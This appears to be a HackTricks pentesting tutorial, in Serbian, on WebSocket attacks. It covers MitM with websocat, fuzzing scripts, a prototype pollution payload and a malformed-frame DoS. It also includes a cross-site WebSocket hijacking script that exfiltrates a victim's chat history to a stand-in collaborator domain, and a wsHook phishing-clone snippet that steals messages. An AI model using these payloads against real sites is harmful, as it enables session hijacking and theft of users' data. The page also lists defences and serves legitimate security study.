WebSocket Napadi

Reading time: 14 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta su WebSockets

WebSocket veze se uspostavljaju putem inicijalnog HTTP handshake-a i dizajnirane su da budu dugotrajne, omogućavajući dvosmerno razmenjivanje poruka u bilo kom trenutku bez potrebe za transakcionim sistemom. To čini WebSockets posebno pogodnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu od strane servera, kao što su streamovi uživo finansijskih podataka.

Uspostavljanje WebSocket veza

Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći ovde. Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na strani klijenta, kao što je prikazano ispod:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Protokol wss označava WebSocket konekciju osiguranu pomoću TLS, dok ws označava nesigurnu konekciju.

Tokom uspostavljanja veze, handshake se obavlja između pregledača i servera preko HTTP-a. Proces handshake-a uključuje da pregledač pošalje zahtev, a server odgovori, kao što je prikazano u sledećim primerima:

Pregledač šalje handshake zahtev:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odgovor servera na handshake:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Veza ostaje otvorena za razmenu poruka u oba smera nakon uspostavljanja.

Ključne tačke WebSocket Handshake:

  • Zaglavlja Connection i Upgrade signalizuju početak WebSocket handshake-a.
  • Zaglavlje Sec-WebSocket-Version označava željenu verziju WebSocket protokola, obično 13.
  • Nasumična vrednost kodirana u Base64 se šalje u zaglavlju Sec-WebSocket-Key, čime se osigurava da je svaki handshake jedinstven, što pomaže u sprečavanju problema sa caching proxy-ima. Ova vrednost nije za autentikaciju, već služi da potvrdi da odgovor nije generisan od strane nepravilno konfigurisanog servera ili cache-a.
  • Zaglavlje Sec-WebSocket-Accept u odgovoru servera je hash vrednost Sec-WebSocket-Key-a, verifikujući nameru servera da otvori WebSocket konekciju.

Ove karakteristike osiguravaju da je WebSocket handshake siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.

Linux konzola

Možete koristiti websocat za uspostavljanje raw konekcije sa websocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ili da kreirate websocat server:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket konekcije

Ako otkrijete da su klijenti povezani na HTTP websocket sa vaše trenutne lokalne mreže, možete pokušati ARP Spoofing Attack da izvedete MitM attack između klijenta i servera.
Kada se klijent pokuša povezati s vama, možete zatim koristiti:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Možete koristiti alat https://github.com/PalindromeLabs/STEWS za automatsko otkrivanje, fingerprint i pretragu poznatih ranjivosti u websockets.

Websocket Debug alati

  • Burp Suite podržava MitM websockets komunikaciju na vrlo sličan način kao i za regularnu HTTP komunikaciju.
  • The socketsleuth Burp Suite extension će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u: pregled history, podešavanje interception rules, korišćenje match and replace pravila, kao i Intruder i AutoRepeater.
  • WSSiP: Skraćeno od "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za capture, intercept, send custom poruke i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
  • wsrepl je interactive websocket REPL dizajniran posebno za penetration testing. Pruža interfejs za posmatranje incoming websocket messages and sending new ones, uz lako‑upotrebljiv okvir za automating ovu komunikaciju.
  • https://websocketking.com/ je web za komunikaciju sa drugim web aplikacijama koristeći websockets.
  • https://hoppscotch.io/realtime/websocket među ostalim tipovima komunikacija/protokola, pruža web za komunikaciju sa drugim web aplikacijama koristeći websockets.

Decrypting Websocket

Websocket Lab

U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje web aplikacije koristeći websockets, a u this post možete pronaći objašnjenje.

Websocket Fuzzing

Burp ekstenzija Backslash Powered Scanner sada omogućava i fuzzing WebSocket poruka. Više informacija možete pročitati ovde.

WebSocket Turbo Intruder (Burp extension)

PortSwigger-ov WebSocket Turbo Intruder donosi Turbo Intruder–style Python scripting i high‑rate fuzzing na WebSockets. Instalirajte ga iz BApp Store ili iz izvora. Sadrži dve komponente:

  • Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
  • HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.

Osnovni šablon skripte za fuzzing WS endpointa i filtriranje relevantnih odgovora:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Koristite dekoratore kao što je @MatchRegex(...) da smanjite šum kada jedna poruka izazove više odgovora.

Povezivanje WS preko HTTP-a (HTTP Middleware)

Omotajte stalnu WS konekciju i prosledite HTTP tela kao WS poruke za automatizovano testiranje pomoću HTTP skenera:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Zatim pošaljite HTTP lokalno; telo se prosleđuje kao WS poruka:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Ovo vam omogućava da upravljate WS backend-ima dok filtrirate „zanimljive“ događaje (npr. SQLi errors, auth bypass, command injection behavior).

Rukovanje Socket.IO (handshake, heartbeats, events)

Socket.IO dodaje sopstveni framing preko WS. Detektujte ga preko obaveznog query parametra EIO (npr. EIO=4). Održavajte sesiju živom pomoću Ping (2) i Pong (3) i započnite komunikaciju sa "40", zatim emitujte događaje kao 42["message","hello"].

Primer za Intruder:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Varijanta HTTP adaptera:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Otkrivanje prototype pollution na strani servera putem Socket.IO

Prateći PortSwigger-ovu bezbednu tehniku detekcije, pokušajte da zagađujete interne delove Express-a slanjem payload-a kao:

json
{"__proto__":{"initialPacket":"Polluted"}}

Ako se pozdravi ili ponašanje promene (npr. echo sadrži "Polluted"), verovatno ste zagađivali server-side prototypes. Uticaj zavisi od reachable sinks; povežite sa gadgets u Node.js prototype pollution sekciji. Vidi:

WebSocket race conditions with Turbo Intruder

Podrazumevani engine grupiše poruke preko jedne konekcije (dobar throughput, loše za race-ove). Koristite THREADED engine da spawn-ujete više WS konekcija i šaljete payloads paralelno kako biste izazvali logic races (double‑spend, token reuse, state desync). Počnite od example script i podešavajte concurrency u config().

  • Naučite metodologiju i alternative u Race Condition (videti “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Kreirajte WS frame-ove čiji header deklariše ogromnu payload length ali bez tela. Neki WS serveri veruju length i pre‑alokiraju buffere; postavljanje vrednosti blizu Integer.MAX_VALUE može izazvati Out‑Of‑Memory i remote unauth DoS. Vidi example script.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Omogućite WS Logger da zabeležite i korelišete poruke koristeći internal IDs.
  • Koristite inc*/dec* helper-e na Connection da podesite rukovanje message ID u kompleksnim adapterima.
  • Dekoratori kao @PingPong/@Pong i helper-i poput isInteresting() smanjuju noise i održavaju sesije živim.

Operational safety

WS fuzzing visokog rate-a može otvoriti mnogo konekcija i poslati hiljade poruka u sekundi. Malformed frame-ovi i visoki ritmovi mogu izazvati realan DoS. Koristite samo tamo gde je dozvoljeno.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, takođe poznat kao cross-origin WebSocket hijacking, prepoznaje se kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket handshakes. Ova ranjivost nastaje kada se WebSocket handshakes autentifikuju isključivo putem HTTP cookies bez CSRF tokens ili sličnih bezbednosnih mera.

Napadači mogu ovo iskoristiti hostovanjem malicious web page koja inicira cross-site WebSocket konekciju ka ranjivoj aplikaciji. Kao posledica, ta konekcija se tretira kao deo session-a žrtve u aplikaciji, iskorišćavajući nedostatak CSRF zaštite u mehanizmu rukovanja sesijama.

Da bi napad uspeo, potrebni su sledeći uslovi:

  • websocket authentication must be cookie based
  • cookie mora biti dostupan sa napadačevog servera (obično znači SameSite=None) i bez Firefox Total Cookie Protection uključenog u Firefox-u i bez blocked third-party cookies u Chrome-u.
  • websocket server ne sme proveravati origin konekcije (ili to mora biti moguće zaobići)

Takođe:

  • Ako je autentifikacija zasnovana na lokalnoj konekciji (na localhost ili lokalnu mrežu) napad će biti moguć jer trenutno nema zaštite koja to zabranjuje (pogledajte more info here)

Simple Attack

Obratite pažnju da se pri establishing websocket konekcije cookie automatski šalje serveru. Server može koristiti cookie da poveže svakog pojedinačnog user-a sa njegovom websocket session zasnovanom na poslatom cookie-ju.

Dakle, ako na primer websocket server vraća istoriju konverzacije korisnika ako stigne poruka sa "READY", onda će jednostavan XSS koji uspostavi konekciju (cookie će biti automatski poslat za autorizaciju žrtvinih kredencijala) i pošalje "READY" moći da preuzme istoriju te konverzacije.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljan Javascript u subdomainu domena u kome se odvijala web socket komunikacija. Pošto je bila subdomain, cookie se slala, i pošto Websocket nije pravilno proveravao Origin, bilo je moguće komunicirati s njim i ukrasti tokens.

Krađa podataka od korisnika

Kopirajte web aplikaciju koju želite da imitirate (na primer .html fajlove) i unutar skripta gde se odvija websocket komunikacija dodajte ovaj kod:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sada preuzmite datoteku wsHook.js sa https://github.com/skepticfx/wshook i sačuvajte je u folderu sa web fajlovima.
Izlažući web aplikaciju i nateravši korisnika da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:

javascript
sudo python3 -m http.server 80

Zaštite protiv CSWSH

CSWSH napad se zasniva na činjenici da će se korisnik povezati na malicioznu stranicu koja će otvoriti websocket konekciju prema web stranici na kojoj je korisnik već prijavljen i autentifikovaće se kao on, jer će zahtev poslati korisnikove cookies.

Danas je veoma lako sprečiti ovaj problem:

  • Provera origin-a na Websocket serveru: Websocket server treba uvek da proveri odakle se korisnik povezuje kako bi sprečio neočekivane stranice da se povežu.
  • Authentication token: Umesto oslanjanja na autentifikaciju baziranu na cookie-u, websocket konekcija može koristiti token koji je generisan od strane servera za korisnika i nepoznat napadaču (na primer anti-CSRF token)
  • SameSite Cookie attribute: Cookies sa SameSite vrednošću Lax ili Strict neće biti poslati sa spoljne (napadačeve) stranice ka serverskoj strani žrtve, pa autentifikacija bazirana na cookie-ima neće uspeti. Napomena: Chrome sada podrazumevano postavlja vrednost Lax za cookies kojima ova zastavica nije eksplicitno postavljena, čime je bezbednije po defaultu. Međutim, prvih 2 minuta nakon kreiranja cookie će imati vrednost None, što ga čini ranjivim tokom tog ograničenog perioda (takođe se očekuje da će ova mera biti uklonjena u nekom trenutku).
  • Firefox Total Cookie Protection: Total Cookie Protection radi tako što izoluje cookies na sajtu na kojem su kreirani. U suštini, svaki sajt ima svoju particiju za skladištenje cookie-a da spreči treće strane da povežu korisnikovu istoriju pretrage. Ovo čini CSWSH neupotrebljivim jer napadačeva stranica neće imati pristup cookie-ima.
  • Chrome third-party cookies block: Ovo takođe može sprečiti slanje cookie-a autentifikovanog korisnika websocket serveru čak i sa SameSite=None.

Race Conditions

Race Conditions u WebSockets takođe postoje; proverite ovu informaciju za više detalja.

Ostale ranjivosti

Pošto su Web Sockets mehanizam za slanje podataka ka serveru i klijentu, u zavisnosti od načina na koji server i klijent obrađuju te informacije, Web Sockets se mogu iskoristiti za eksploatisanje različitih drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći input korisnika preko websocket-a.

WebSocket Smuggling

Ova ranjivost može omogućiti da zaobiđete ograničenja reverse proxies tako što će ih navesti da veruju da je websocket komunikacija uspostavljena (čak i kada to nije tačno). To može omogućiti napadaču da pristupi skrivenim endpoints. Za više informacija pogledajte sledeću stranicu:

Upgrade Header Smuggling

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks